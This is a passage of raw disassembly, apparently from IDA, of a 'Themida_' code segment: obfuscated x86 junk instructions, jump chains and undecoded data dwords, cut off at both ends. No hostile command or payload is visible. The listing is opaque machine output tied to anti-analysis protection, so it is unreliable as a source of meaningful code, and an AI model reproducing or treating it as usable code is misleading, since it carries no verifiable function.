ecx jmp loc_55B38C ; --------------------------------------------------------------------------- loc_559CD2: ; CODE XREF: Themida_:0056097Aj add esp, 4 pop edi push esi mov esi, esp add esi, 4 push ecx jmp loc_55ACAF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324348Bh, 0E95104C4h, 0FFFFECA4h, 5972F1BBh, 0D8F38160h dd 56192CAh, 1FD14C18h, 0FFB10BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559D09: ; CODE XREF: Themida_:00556661j pop edx push dword ptr [esp] mov ecx, [esp] jmp loc_55DDE7 ; --------------------------------------------------------------------------- db 89h, 4, 24h aP5H5 db '¸p',1Bh,'5*h5~',0 align 2 dw 1489h dd 7452BA24h, 0F2812CF7h, 0F93D90C0h, 0CB1DF22Dh, 0E9D00139h dd 43C6h, 2424895Ch, 4240483h, 592434FFh, 8904EC83h, 0E189240Ch dd 4C181h, 0C1830000h, 240C8704h, 4C1815Ch, 56000000h dd 2BEh, 5EF10100h, 31240C33h, 0C33240Ch, 4085C24h, 0E5E99C24h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559D7F: ; CODE XREF: Themida_:005579A9j add esp, 4 shr eax, 0Bh xor ecx, eax push 4198h jmp loc_557FCC ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E9028864h, 4D0Ah, 31243433h, 34332434h, 3C64E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559DAA: ; CODE XREF: Themida_:0055B980j add esp, 4 shl ebp, 3 shl ebp, 8 not ebp or ebp, 10D564DFh add ebp, 0F237A1F1h sub ecx, ebp pop ebp and eax, ecx pop ecx or eax, eax jz loc_55FDC1 push 4E7Ah mov [esp], eax mov eax, 1Ch add eax, edi push edx jmp loc_557A1C ; --------------------------------------------------------------------------- dd 4CAE6866h, 24048966h, 0FFCD2DE9h, 6ED7BAFFh, 0CA810B05h dd 4FF2718Bh, 0F281DAF7h, 0B0088023h, 0E95AD501h, 0F11h dd 0E904EC83h, 3F6Ah ; --------------------------------------------------------------------------- loc_559E14: ; CODE XREF: Themida_:0055A6AFj push 6A85h mov [esp], eax push ebx push eax mov ah, 4Eh mov bl, ah jmp loc_554E20 ; --------------------------------------------------------------------------- db 80h dd 85E9C1F3h, 31FFFFE1h, 0C33240Ch, 24248B24h, 15D0E9h dd 81E78900h, 4C7h, 4BD5500h, 81000000h, 0CA6F2AC7h, 81EF017Fh dd 0CA6F2AEFh, 3C875D7Fh, 68665C24h, 89660BECh, 0B050240Ch dd 885352F9h, 1A72E9C3h, 0C0680000h, 5B005002h, 390AF381h dd 814326B4h, 7349DCBh, 0C2E95560h, 89FFFFFCh, 5954240Ch dd 4C181h, 0BF570000h, 53622D43h, 400FF781h, 0D7F71AE5h dd 0F781DFF7h, 16EC7771h, 729EF81h, 0F7813A77h, 24F41317h dd 0FFDE06E9h, 835B54FFh, 148904ECh, 339ABA24h, 5BE912D6h dd 5E00004Ah, 4263F681h, 0B9510F7Eh, 56F62458h, 8107E9C1h dd 3881C3E9h, 59CE0983h, 6895E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_55FA6A ; --------------------------------------------------------------------------- loc_559F03: ; CODE XREF: Themida_:005585E7j shl ecx, 5 jmp loc_556022 ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0C2810000h, 4, 0E9241433h, 0AD9h, 0AA4F94BDh dd 2EDC155h, 7CF168h, 0BE70E900h, 0C481FFFFh, 4, 0FFCEABE9h dd 0D6F75AFFh, 0E221EE81h, 0F0899910h, 585A505Eh, 390CE9h dd 0E9CB2800h, 0FFFFF7D1h ; --------------------------------------------------------------------------- loc_559F58: ; CODE XREF: Themida_:00554F41j sub esp, 4 mov [esp], edx push ecx mov ecx, 79B612A7h mov edx, 5478394Ah sub edx, 8AB31227h sub edx, ecx pop ecx jmp loc_55B96D ; --------------------------------------------------------------------------- dw 48Fh aSrl db '$éL',0 align 2 dw 595Bh dd 2474FF57h, 243C8B04h, 81E78957h, 4C7h, 4C78300h, 0FFB80FE9h dd 0E9F031FFh, 61C8h, 0DE2A3CBAh, 31A0E95Ah, 0E6890000h dd 523DBF57h, 0F7813FBFh, 466D5139h, 5C0CE781h, 0F781404Ah dd 22A2657Fh, 0B3A1E947h, 0CE81FFFFh, 739A4D81h, 81FFEE83h dd 0DE7FD8EEh, 5EF389F3h, 0FFC4A1E9h, 2474FFFFh, 0A951E904h dd 815AFFFFh, 4C4h, 68C1FE00h, 0 dd 8A240C28h, 0C483240Ch, 46B05004h, 2846C180h, 46E980C1h dd 59CC2058h, 4318E9h, 5D505900h, 0E5814D58h, 41C62515h dd 47E2ED81h, 97680CE5h, 0E900006Bh, 87h, 0DCE9C9FEh, 0C1000011h dd 0EA8108E2h, 2A0B4353h, 4810EA81h, 0D1299B5Ah, 0E9C8315Ah dd 0FFFFFFC5h, 46C4CE81h, 0F6813F28h, 63D10572h, 0C163E946h dd 0E189FFFFh, 5AA3E9h db 0 ; --------------------------------------------------------------------------- loc_55A06D: ; CODE XREF: Themida_:0055E024j neg edi sub esp, 4 mov [esp], ebp push 31D0h jmp loc_5558DB ; --------------------------------------------------------------------------- dw 4891h dd 0F255A305h, 1C06E97Fh, 348B0000h, 4C48324h, 34FFC131h dd 0EC815824h, 4, 52A8E9h, 6E9C100h, 5D3BC981h, 1E96CFDh dd 0FFFFFFB1h, 5E92434h, 8900004Fh, 0B0E9242Ch, 66000069h dd 6824048Bh, 6480h, 54240C89h, 9E95259h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A0D7: ; CODE XREF: Themida_:0055AE33j push dword ptr [esp] pop edx jmp loc_55DD94 ; --------------------------------------------------------------------------- dd 3CE9535Ch, 58FFFFCAh, 0E9E08950h, 0FFFFD9E4h ; --------------------------------------------------------------------------- loc_55A0F0: ; CODE XREF: Themida_:0055699Cj pop edx mov edi, [esp] jmp loc_559002 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSag db '$éíg',0 align 2 dw 0EE81h dd 2A6B152Ah, 2E84E95Fh, 0ED800000h, 59E828F1h, 6602EC83h dd 50240C89h, 4B57E9h, 4EC8100h, 89000000h, 60BA2414h dd 0E9597E33h, 0FFFFC112h, 28325DB8h, 3E1AE925h, 52BA0000h dd 2939214Dh, 0B6E95BDAh, 87FFFFF4h, 0F5C241Ch, 0E5E9C8BEh dd 8BFFFFC0h, 8F662424h, 0EC812404h, 2, 240C8966h, 24048766h dd 34E95066h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg ebx, [esp] jmp loc_55E6E0 ; --------------------------------------------------------------------------- loc_55A18E: ; CODE XREF: Themida_:0055C28Dj add ebx, 7BB3100Eh pop dword ptr [eax] jmp loc_5548CE ; --------------------------------------------------------------------------- db 68h dd 57566B3Eh, 81DDF75Dh, 8E6C37EDh, 4EC8167h, 89000000h dd 14F7242Ch, 0EDC15D24h, 6E5C103h, 0BB7CED81h, 0E901F726h dd 0FFE16BE9h, 4C481FFh, 66000000h, 16B96651h, 0EB816609h dd 166035Bh, 4140E9CBh, 68570000h, 4, 5FFA015Fh, 2B951h dd 59E90000h, 4DFFFFE8h, 0EDC1D5F7h, 3DC58107h, 169C6A3h dd 242C8BE8h, 4C481h, 0C8010000h, 0FA417F2Dh, 2434FF69h dd 0D6E95659h, 50FFFFF8h, 4055854h, 2D000000h, 4, 5C240487h dd 68242489h, 54E8h, 53240489h, 2472BCBBh, 0B8F38164h dd 89642472h, 241C8BD8h, 4C481h, 44810000h, 1F6E0424h dd 70E942EBh db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A25F: ; CODE XREF: Themida_:0055DF6Dj push ebp neg dword ptr [esp] pop ebp add ebp, 1A384C7Fh jmp loc_558B69 ; --------------------------------------------------------------------------- dd offset dword_44622C+4A3Ch align 4 dd 0FFA827E9h, 243489FFh, 8DE95E54h, 0FF000044h, 669D1C77h dd 24041858h, 3792E99Ch, 89520000h, 4C281E2h, 0E9000000h dd 0FFFFC790h ; --------------------------------------------------------------------------- loc_55A2A0: ; CODE XREF: Themida_:0055DDAAj and ebx, 3BE2101h neg ebx shr ebx, 4 shl ebx, 5 xor ebx, 134410F4h add ebx, 16381110h add edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax push ebp push eax mov eax, 6526459Ah push edi jmp loc_55E544 ; --------------------------------------------------------------------------- loc_55A2D6: ; CODE XREF: Themida_:00556D5Fj add ebp, 4 jmp loc_559A44 ; --------------------------------------------------------------------------- aQrsb db 'QRé',8,0 align 4 loc_55A2E8: ; CODE XREF: Themida_:00555910j mov [esp], edi push eax mov eax, 10h mov edi, eax pop eax and ebx, edi jmp loc_55513D ; --------------------------------------------------------------------------- db 0BFh dd 2, 0FABE5653h, 0E9098517h, 5C03h, 0E9028F66h, 0FFFFA5BAh dd 0CE8883B1h, 240C8B66h, 6602C483h, 2454F652h, 148B6601h dd 2C48124h, 0F6000000h, 80C6FEDEh, 0B05075EEh, 34D0F648h dd 0FEFF0463h, 0CFE0E9C8h, 0C87FFFFh, 0BE565C24h, 2, 72E9F501h dd 5E000065h, 0C281D2F7h, 0B037AC62h, 148BD329h, 4C48324h dd 0F5668h, 242C8900h, 3363BB68h, 0EB015D48h, 0E9242C8Bh dd 3F7Eh, 5EFC058h, 0FBE9EFD0h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A38B: ; CODE XREF: Themida_:0055ED8Aj mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] pop esp or edx, eax shl edx, 1 push 0CE0h mov [esp], edx push 0FFFFFFFFh pop edx sub [edi+24h], edx push dword ptr [esp] jmp loc_5606E1 ; --------------------------------------------------------------------------- loc_55A3B7: ; CODE XREF: Themida_:00558CC7j pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp xor eax, 41101A00h sub esp, 4 mov [esp], edx mov edx, 15907A2Ah push eax jmp loc_55AE38 ; --------------------------------------------------------------------------- db 31h dd 5DE95DEAh, 33FFFFEAh, 0F75C2434h, 457C68F9h, 14890000h dd 0E99C5024h, 0FFFFA4D6h ; --------------------------------------------------------------------------- loc_55A3F8: ; CODE XREF: Themida_:0055B9D7j sub esi, 0BF13D7F1h sub esp, 4 mov [esp], ecx mov ecx, 6125084Dh and esi, ecx mov ecx, [esp] add esp, 4 jmp loc_55B31B ; --------------------------------------------------------------------------- dd 0DD6AC3BAh, 0EA81420Bh, 0BB5856Bh, 15AD129h, 48759C8h dd 4AB4E924h, 0C3800000h, 10B151CFh, 4426E9h, 34FF5E00h dd 0EC815D24h, 4, 89241C89h, 6410E9E3h, 28590000h, 10C380C3h dd 0E9CFB050h, 2364h, 3C74B850h, 0A4257746h, 5553471h dd 0EA17D16Dh, 3E9C331h, 0F7FFFFF1h, 0E99C241Ch, 0FFFFA44Ah dd 0C7FE6CB7h, 0EF86CFFEh, 0D3F6DD86h, 8852DD86h, 88FD88EEh dd 605AE9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A49E: ; CODE XREF: Themida_:0055671Cj add esp, 4 push ecx mov ecx, 5A195F0Ch push ebx mov ebx, 7BE51A73h add ecx, ebx pop ebx jmp loc_55BA51 ; --------------------------------------------------------------------------- loc_55A4B5: ; CODE XREF: Themida_:0055D890j pop ecx add al, 43h push ebx mov bh, 0D3h sub al, bh mov ebx, [esp] push esi mov esi, esp add esi, 4 jmp loc_556A90 ; --------------------------------------------------------------------------- loc_55A4CE: ; CODE XREF: Themida_:00560777j mov [esp], edi mov edi, 4 add ebp, edi mov edi, [esp] push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55969F ; --------------------------------------------------------------------------- db 57h, 0BFh, 0C2h dd 51312A4Ah, 564D5CB9h, 18C9815Fh, 811B284Ch, 5BE16BE9h dd 0E9CF3150h, 4177h, 0E9E8285Ch, 3CFCh, 16ED815Dh, 1EA956Ch dd 242C8BEFh, 5004C483h, 7F0558B8h, 31F8313Dh, 0F7F831C7h dd 4EE997D7h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A53F: ; CODE XREF: Themida_:0055756Ej xor [esp], edi xor edi, [esp] mov esp, [esp] shr ecx, 2 sub esp, 4 mov [esp], ebx push 2F8Ah mov [esp], edx mov edx, 26FE0838h jmp loc_555A4F ; --------------------------------------------------------------------------- db 80h dd 9E906C2h, 6600000Ah, 0E924048Bh, 0FFFFC1A1h, 0E73D0BAh dd 0C2814A35h, 0CAF18C35h, 875AD301h, 685C241Ch, 27B5h dd 68241C89h, 547670D9h, 83241C8Bh, 1FE904C4h, 8100000Fh dd 0ED19D0EAh, 0E9D701F0h, 0FFFFD916h, 3302B951h, 52E9281Ah dd 0FFFFFFF6h, 0E9042474h, 2662h, 34F18149h, 8154262Bh dd 0FC2849E1h, 81D9F72Bh, 0AE5ADEC1h, 3E9C17Eh, 2154F181h dd 0C82947D5h, 5D02959h, 49AE6B0Fh, 5624148Bh, 0C681E689h dd 4, 4C681h, 0A0E90000h, 80000018h, 0C828DAE9h, 1C8B6659h dd 2C48124h, 0 dd 4EC81D8h, 0E9000000h, 5EE2h ; --------------------------------------------------------------------------- loc_55A61C: ; CODE XREF: Themida_:0055D5BDj mov eax, [esp] push 77F8h jmp loc_55540E ; --------------------------------------------------------------------------- db 81h, 0C5h, 1Fh dd 0E91592E9h, 66AFh ; --------------------------------------------------------------------------- loc_55A634: ; CODE XREF: Themida_:0055604Aj sub eax, 1 push ecx mov ecx, 53A31341h shl ecx, 8 xor ecx, 6DCC3D2Eh add ecx, 2B5D4CD8h sub eax, 26093B19h jmp loc_55B5FD ; --------------------------------------------------------------------------- dd 242C8B54h, 4C481h, 0FE90000h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A667: ; CODE XREF: Themida_:00560BE8j pop dword ptr [edi+24h] pop ebx sub ebx, 0FFFFFFFFh push dword ptr [edi+24h] push ebx pop dword ptr [edi+24h] jmp loc_55514E ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 0CB70142h, 4E05E95Ah, 0D8010000h, 4EC835Bh, 0E9242C89h dd 0FFFFC37Ch ; --------------------------------------------------------------------------- loc_55A698: ; CODE XREF: Themida_:0055FEF3j or edx, 11463637h jmp loc_557AC9 ; --------------------------------------------------------------------------- loc_55A6A3: ; CODE XREF: Themida_:00555E6Ej pop esp sub bl, 0AFh push small 4F0Ah mov [esp], dx jmp loc_559E14 ; --------------------------------------------------------------------------- loc_55A6B4: ; CODE XREF: Themida_:0055DBBEj and ch, 2Fh or ch, 30h add ch, 1 sub ch, 82h add bl, ch pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_560127 ; --------------------------------------------------------------------------- dd 38128305h, 0BA525132h, 50FE0B1Ch, 15AD189h, 348B59C8h dd 4C48124h, 68000000h, 604Fh, 0BF243C89h, 3B841F0Bh, 7FB568h dd 24348900h, 0A31CBBBEh, 9FEF811Eh, 29033312h, 9FC781F7h dd 5E033312h, 1E5A68h, 240C8900h, 4F361668h, 240C8B4Ah dd 4C481h, 0CF310000h, 8B2434FFh, 0C483240Ch, 4C48304h dd 535FF831h, 33DC6855h, 0CFE958E0h, 80000062h, 0CBE92DEDh dd 0BE00005Bh, 53947h, 89F78957h, 0E95E5FF8h, 0FFFFA166h dd 31241C33h, 1C33241Ch, 24248B24h, 55241489h, 4EC81h dd 4890000h, 242C8B24h, 1A34E9h, 66D00000h, 8324148Bh dd 505102C4h, 8EE938B4h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A79B: ; CODE XREF: Themida_:0055D09Aj add ebx, 475FE2B7h mov ecx, ebx mov ebx, [esp] add esp, 4 neg ecx inc ecx xor ecx, 8A1BDCB4h jmp loc_559B22 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 240C8900h, 0C58042B5h, 4B9CE98Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A7CA: ; CODE XREF: Themida_:0055DA99j add al, 44h sub al, bl sub al, 44h push 2137h jmp loc_55D885 ; --------------------------------------------------------------------------- dw 0F780h dd 8BFD0004h, 7DE9241Ch, 66FFFFAAh, 52240C8Bh, 0EC81E289h dd 4, 0E9243C89h, 5A68h, 5ED4BA52h, 0D529426Bh, 1CB5E9h dd 2434FF00h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 5F54243Ch dd 0FFE287E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A825: ; CODE XREF: Themida_:0055D2E1j push edi push 5DE3E78h pop edi dec edi jmp loc_558396 ; --------------------------------------------------------------------------- aSs db '\é˜]',0 align 4 loc_55A838: ; CODE XREF: Themida_:005565CDj pop edi jmp loc_55B9B8 ; --------------------------------------------------------------------------- dw 0C14Dh dd 0F58105EDh, 99490872h, 895DEB01h, 0F1815BD9h, 64675356h dd 0FFCAA7E9h, 5FFE89FFh, 8107EEC1h, 0DF2FC1CEh, 0C1EE8159h dd 8959FF3Fh, 1E95EF1h, 57000010h, 4BFh, 247C0100h, 81595F04h dd 4C1h, 0C2E95700h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A88B: ; CODE XREF: Themida_:00558179j push 47DFh mov [esp], edx sub esp, 4 mov [esp], esi jmp loc_5562B4 ; --------------------------------------------------------------------------- dw 0B753h dd 0F3E78042h, 0FE06F780h, 5EF2E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A8AE: ; CODE XREF: Themida_:00558B94j mov ebp, 4 add ebx, ebp pop ebp push 5FDBh jmp loc_55DE32 ; --------------------------------------------------------------------------- loc_55A8C0: ; CODE XREF: Themida_:0055AB44j inc eax push ebx mov ebx, 0C0B098Ah not ebx xor ebx, 7B6E0686h jmp loc_555774 ; --------------------------------------------------------------------------- dd 0CBADE959h, 0C8BFFFFh, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 6CCB815Ch, 810BFD31h, 0E023FDEBh, 33E3812Bh dd 81336138h, 93486EE3h, 0BE565536h, 3DC57A50h, 78FDF681h dd 0E94E386Bh, 0FFFFDFDDh, 4C4815Bh, 80000000h, 0FE98CEBh db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A927: ; CODE XREF: Themida_:0055DA6Fj xor esi, ecx pop ecx push ecx push eax push ebp jmp loc_555F05 ; --------------------------------------------------------------------------- dw 0E789h dd 8904EC83h, 4BE2434h, 81000000h, 9A401DC7h, 4AEF8132h dd 5309B24Dh, 762615BBh, 0CEF4E97Ah, 0C89FFFFh, 0C0E95424h dd 57FFFFBBh, 4BFh, 2B23E900h, 0F2810000h, 262369ACh, 26BFEA81h dd 0F281715Eh, 0F81B99F1h, 505AD709h, 642AA6B8h, 724C3540h dd 35400FFCh, 57D94206h, 0C105E8C1h, 0EB0503E8h, 81800850h dd 591B63EFh, 81C7015Dh, 591B63C7h, 24048B5Dh, 4C481h dd 0F8010000h, 2404875Fh, 48B665Ch, 0E0895024h, 8904EC83h dd 4BF243Ch, 55000000h, 4B6BBABDh, 0F9CD8106h, 4545C007h dd 0ED81D5F7h, 50BA6425h, 8BE5645h, 0E91C53C1h, 1DF5h dd 69DFE981h, 0D9F77A46h, 0FFE696E9h, 241431FFh, 5C241433h dd 0FFC99AE9h, 5FFB89FFh, 1373DE2Dh, 50D8297Dh, 3C1468h dd 47D3E900h, 22B20000h, 3EC280h, 5241E9D1h, 0C6830000h dd 1F7CE902h, 52AC0000h, 0EEC071B6h, 617FE903h, 0C4810000h dd 4, 8103EEC1h, 0E82A16F6h, 13C68176h, 811B8F4Eh, 0B738DDF6h dd 0CDB2E9BEh, 0EE81FFFFh, 6CED63CAh, 8BF00159h, 0C4812434h dd 4, 5C240487h, 0F04C483h, 0C168C8BFh, 8900002Bh, 4BE9240Ch dd 0FFFFFF9Eh, 34FF3C77h, 2434FF24h, 0FFEE44E9h, 240C89FFh dd 0C7031AB9h, 3D57E938h, 7CB90000h, 0C134D86Bh, 0C98102E1h dd 65A00F14h, 0FFE9E4E9h, 240481FFh, 4, 4BF575Ah, 0E9000000h dd 0CB4h ; --------------------------------------------------------------------------- loc_55AAC4: ; CODE XREF: Themida_:0055AEA3j inc ecx xor ecx, 0E7EFF2E5h add ebp, ecx pop ecx push 593h mov [esp], ebp sub esp, 4 mov [esp], edi pop ebp pop edi push edi not dword ptr [esp] pop edi push 21D6h mov [esp], ebp jmp loc_5593C5 ; --------------------------------------------------------------------------- db 52h dd 60E913B2h, 81000000h, 0B9EA9CF1h, 59CA0108h, 491ABD55h dd 0EDC11387h, 0C575E908h, 4B9FFFFh, 56000000h, 0CF5266BEh dd 104CE969h, 48B0000h, 0C763E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AB2A: ; CODE XREF: Themida_:0055C32Bj sub ebx, 0D391C5Eh add ebx, 15245195h pop ecx push eax mov eax, 15991248h and eax, 4F4A482Bh neg eax jmp loc_55A8C0 ; --------------------------------------------------------------------------- db 5Bh, 81h, 44h dd 3C8B0424h, 54017E70h, 0EBE90424h, 0C0000043h, 0EA8003EAh dd 0FEEA8023h, 2880E9h, 24048100h, 45145517h, 17E98159h dd 0E9451455h, 0FFFFBD41h, 182E48B9h, 0E1C1410Bh, 4DF18104h dd 1CB529Ch, 315A59CBh, 9D38E9C2h, 0E981FFFFh, 6F10147Ch dd 138EE9h db 0 ; --------------------------------------------------------------------------- loc_55ABA1: ; CODE XREF: Themida_:00556BC1j xor ecx, 489921E0h push ecx neg dword ptr [esp] pop ecx push 6D3Ch mov [esp], ebp push esi jmp loc_55D30F ; --------------------------------------------------------------------------- dw 0E8B1h dd 0C186D9F6h, 0C186D0F6h, 5302E9C0h, 0D7F68DB7h, 0C7FECFFEh dd 80A1CF80h, 0C78033EFh, 5BF9307Bh, 3748E9h, 241C3300h dd 0FF24248Bh, 0E99C2404h, 0FB6h ; --------------------------------------------------------------------------- loc_55ABF0: ; CODE XREF: Themida_:00554C5Fj push ecx mov ecx, 719C0312h jmp loc_555CB2 ; --------------------------------------------------------------------------- db 66h dd 5224048Bh, 0CBE9E289h, 5400000Bh, 4A27685Bh, 2C890000h dd 4BD24h, 0EB010000h, 4C3815Dh, 87000000h, 0A3E9241Ch dd 8900003Eh, 0B050240Ch, 304CB510h, 5A5EE9C5h, 15B0000h dd 0D3D2E9C7h, 2C89FFFFh, 6B25BD24h, 1E91B34h, 59FFFFC7h dd 80FE9h, 0B9EF8100h, 8159D933h, 1C6D76E7h, 6DBE563Ah dd 0E913D610h, 3556h, 0CF00D3B1h, 0CF805966h, 0D7C7809Ah dd 8007E780h, 0DFF687EFh, 0E903E7C0h, 0FFFFFB56h, 24048B66h dd 8904EC83h, 0E6892434h, 0FFF860E9h, 4EC83FFh, 0BB241C89h dd 4, 0FFFB57E9h, 0FF180FFh, 4EE9C800h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ACAF: ; CODE XREF: Themida_:00559CE0j push eax push 4B862F07h pop eax jmp loc_555863 ; --------------------------------------------------------------------------- db 0ADh dd 5E6B2A05h, 222C050Ch, 17E9299Ah db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ACCB: ; CODE XREF: Themida_:00556FE0j sub ecx, 1 sub ecx, 24795D99h xor ecx, 21F8703Dh jmp loc_55CD0C ; --------------------------------------------------------------------------- dw 15Dh dd 5A042454h, 5A2434FFh, 0E904C483h, 0FFFFA699h, 0B12BE95Ah dd 0C181FFFFh, 4, 4C181h, 0C870000h, 48F5C24h, 0C90B5C24h dd 0C1CA840Fh, 5456FFFFh, 0FFEEF3E9h, 242C87FFh, 0AB0F665Ch dd 0E99C2404h, 0FFFFB5C3h, 8085F380h, 0CB80D3CBh, 42F380A1h dd 50FFC380h, 0E4C09BB4h, 0E9C4FE03h, 0FFFFC4C2h, 53242C89h dd 3341E9h, 24048300h, 24148B04h, 4C481h, 0C2810000h, 4 dd 4B951h, 0CA290000h, 81240C8Bh, 4C4h, 24143300h, 33241431h dd 248B2414h, 24348924h, 0FFF9CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AD89: ; CODE XREF: Themida_:00559C81j xchg ebp, [esp] pop esp jmp loc_557239 ; --------------------------------------------------------------------------- dw 0E8BFh dd 2962D932h, 0D7295FFAh, 5524148Bh, 0FFD9C7E9h, 4C483FFh dd 2C781h, 3C330000h, 55E0E924h, 345A0000h, 5B27E9A1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ADBE: ; CODE XREF: Themida_:0055D919j add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx xchg ecx, [esp] pop esp mov [esp], esi push edi push 56144F03h jmp loc_55E50E ; --------------------------------------------------------------------------- db 81h dd 4F79C5E9h, 0A3E98166h, 1AC4FA3h, 5904244Ch, 40558h dd 0BA520000h, 4, 9E9D001h, 100000Ch, 0EC815DEBh, 4, 0BE243489h dd 192A7DE6h, 348BF301h, 4C48324h, 0EB81C301h, 192A7DE6h dd 41DB951h, 0CB296366h, 1661E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55AE32: ; CODE XREF: Themida_:00559809j pop eax jmp loc_55A0D7 ; --------------------------------------------------------------------------- loc_55AE38: ; CODE XREF: Themida_:0055A3D6j push ebx mov ebx, 2FF5972h push ebp mov ebp, 58BEC342h mov eax, ebp mov ebp, [esp] add esp, 4 sub eax, ebx pop ebx jmp loc_55DD35 ; --------------------------------------------------------------------------- db 81h dd 7F6AF3h, 0DE895663h, 5E207789h, 2568565Bh, 5E78B978h dd 3903E9h db 0 ; --------------------------------------------------------------------------- loc_55AE71: ; CODE XREF: Themida_:0055DEFBj mov ecx, esp add ecx, 4 jmp loc_554A27 ; --------------------------------------------------------------------------- loc_55AE7E: ; CODE XREF: Themida_:0055E553j add eax, edi pop edi sub eax, 4CA501F6h add eax, 5A3B002Eh jmp loc_55E8D9 ; --------------------------------------------------------------------------- loc_55AE90: ; CODE XREF: Themida_:0055EAA1j push ebp mov ebp, 3EDF3D21h push ecx mov ecx, 1E5D72F0h add ecx, 739517E9h dec ecx jmp loc_55AAC4 ; --------------------------------------------------------------------------- dd 0E905EFC1h, 0FFFFB936h, 905BD55h, 0ED816154h, 2B0B23C9h dd 0E538B850h, 0C5293648h, 0D76CE958h, 8B66FFFFh, 9E92404h dd 52FFFFD1h, 4C7FBF57h, 3E93F86h, 56FFFFB7h, 1B088ABEh dd 63B85043h, 0E93DD00Ah, 0FFFFC8D3h, 0FF2434FFh, 48B2434h dd 4EC8324h, 0E9240C89h, 0FFFFA2D8h ; --------------------------------------------------------------------------- loc_55AF04: ; CODE XREF: Themida_:005599F9j add esp, 4 and ecx, eax jmp loc_55D854 ; --------------------------------------------------------------------------- db 0B3h, 3Bh, 88h dd 0C4805BDCh, 1E6BE927h, 485D0000h, 0FFCC8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55AF25: ; CODE XREF: Themida_:0055F3C0j sub eax, edi pop edi jmp loc_556666 ; --------------------------------------------------------------------------- loc_55AF2D: ; CODE XREF: Themida_:0055F27Bj pop edx add esp, 4 push ebx mov ebx, 3DC0487Dh add edx, 2F815832h sub edx, ebx sub edx, 2F815832h pop ebx push edx sub esp, 4 mov [esp], eax jmp loc_556411 ; --------------------------------------------------------------------------- dw 0C101h dd 8FBE5658h, 8155420Ah, 0B56CF1E6h, 0DCCE8149h, 5325F65Ch dd 0E84216BBh, 0E9DE29F7h, 0FFFF9983h, 665AD020h, 3ABBE952h dd 0D3F60000h, 0EBC0C3FEh, 52F38005h, 515BD800h, 503CB353h dd 0E588DC88h, 0E8285B58h, 4F00059h, 0A2E0E93Ch, 0E953FFFFh dd 1E87h ; --------------------------------------------------------------------------- loc_55AFA8: ; CODE XREF: Themida_:00556D78j pop esi push ecx mov ecx, 4 jmp loc_55B54D ; --------------------------------------------------------------------------- loc_55AFB4: ; CODE XREF: Themida_:00556FC9j push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] pop esp jmp loc_555BF4 ; --------------------------------------------------------------------------- dw 0B966h dd 816657BCh, 0F7042444h, 0A222E931h, 0EB81FFFFh, 0FAC9FCEFh dd 815BDD09h, 0EF18D9F5h, 1076053Ch, 852D3751h, 292E7135h dd 358505E8h, 762D2E71h, 5D375110h, 489D68h, 242C8900h dd 7F7B6853h, 815B4BCBh, 1867CDF3h, 5E3C167h, 0E905E3C1h dd 0FFFFA218h, 4685259h, 5A000000h, 3ADE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B02A: ; CODE XREF: Themida_:00556336j push edi push 768Dh mov [esp], eax mov eax, 1 mov edi, eax pop eax sub eax, 59DF28EBh push ecx mov ecx, 3A9243D2h jmp loc_5576BF ; --------------------------------------------------------------------------- loc_55B04B: ; CODE XREF: Themida_:00556425j add esp, 4 push ecx mov ecx, 7A8C000Fh not ecx inc ecx push 0 sub dword ptr [esp], 349369EFh sub [esp], ecx add dword ptr [esp], 349369EFh pop ecx xchg ebp, ecx not ebp jmp loc_556BBF ; --------------------------------------------------------------------------- dw 0EC83h dd 4F56E904h, 0CBFE0000h, 50EAF380h, 0C33054B0h, 0FFE928E9h dd 38F281FFh, 1223410h, 2434FFD6h, 32F6E9h, 66DF6800h dd 0C890000h, 3726E924h, 0EFC10000h, 81D7F705h, 0B1B30EEFh dd 0E9F929FEh, 0FFFFE4F9h ; --------------------------------------------------------------------------- loc_55B0C0: ; CODE XREF: Themida_:0055DD30j xor ecx, 344B2EEEh xor ecx, 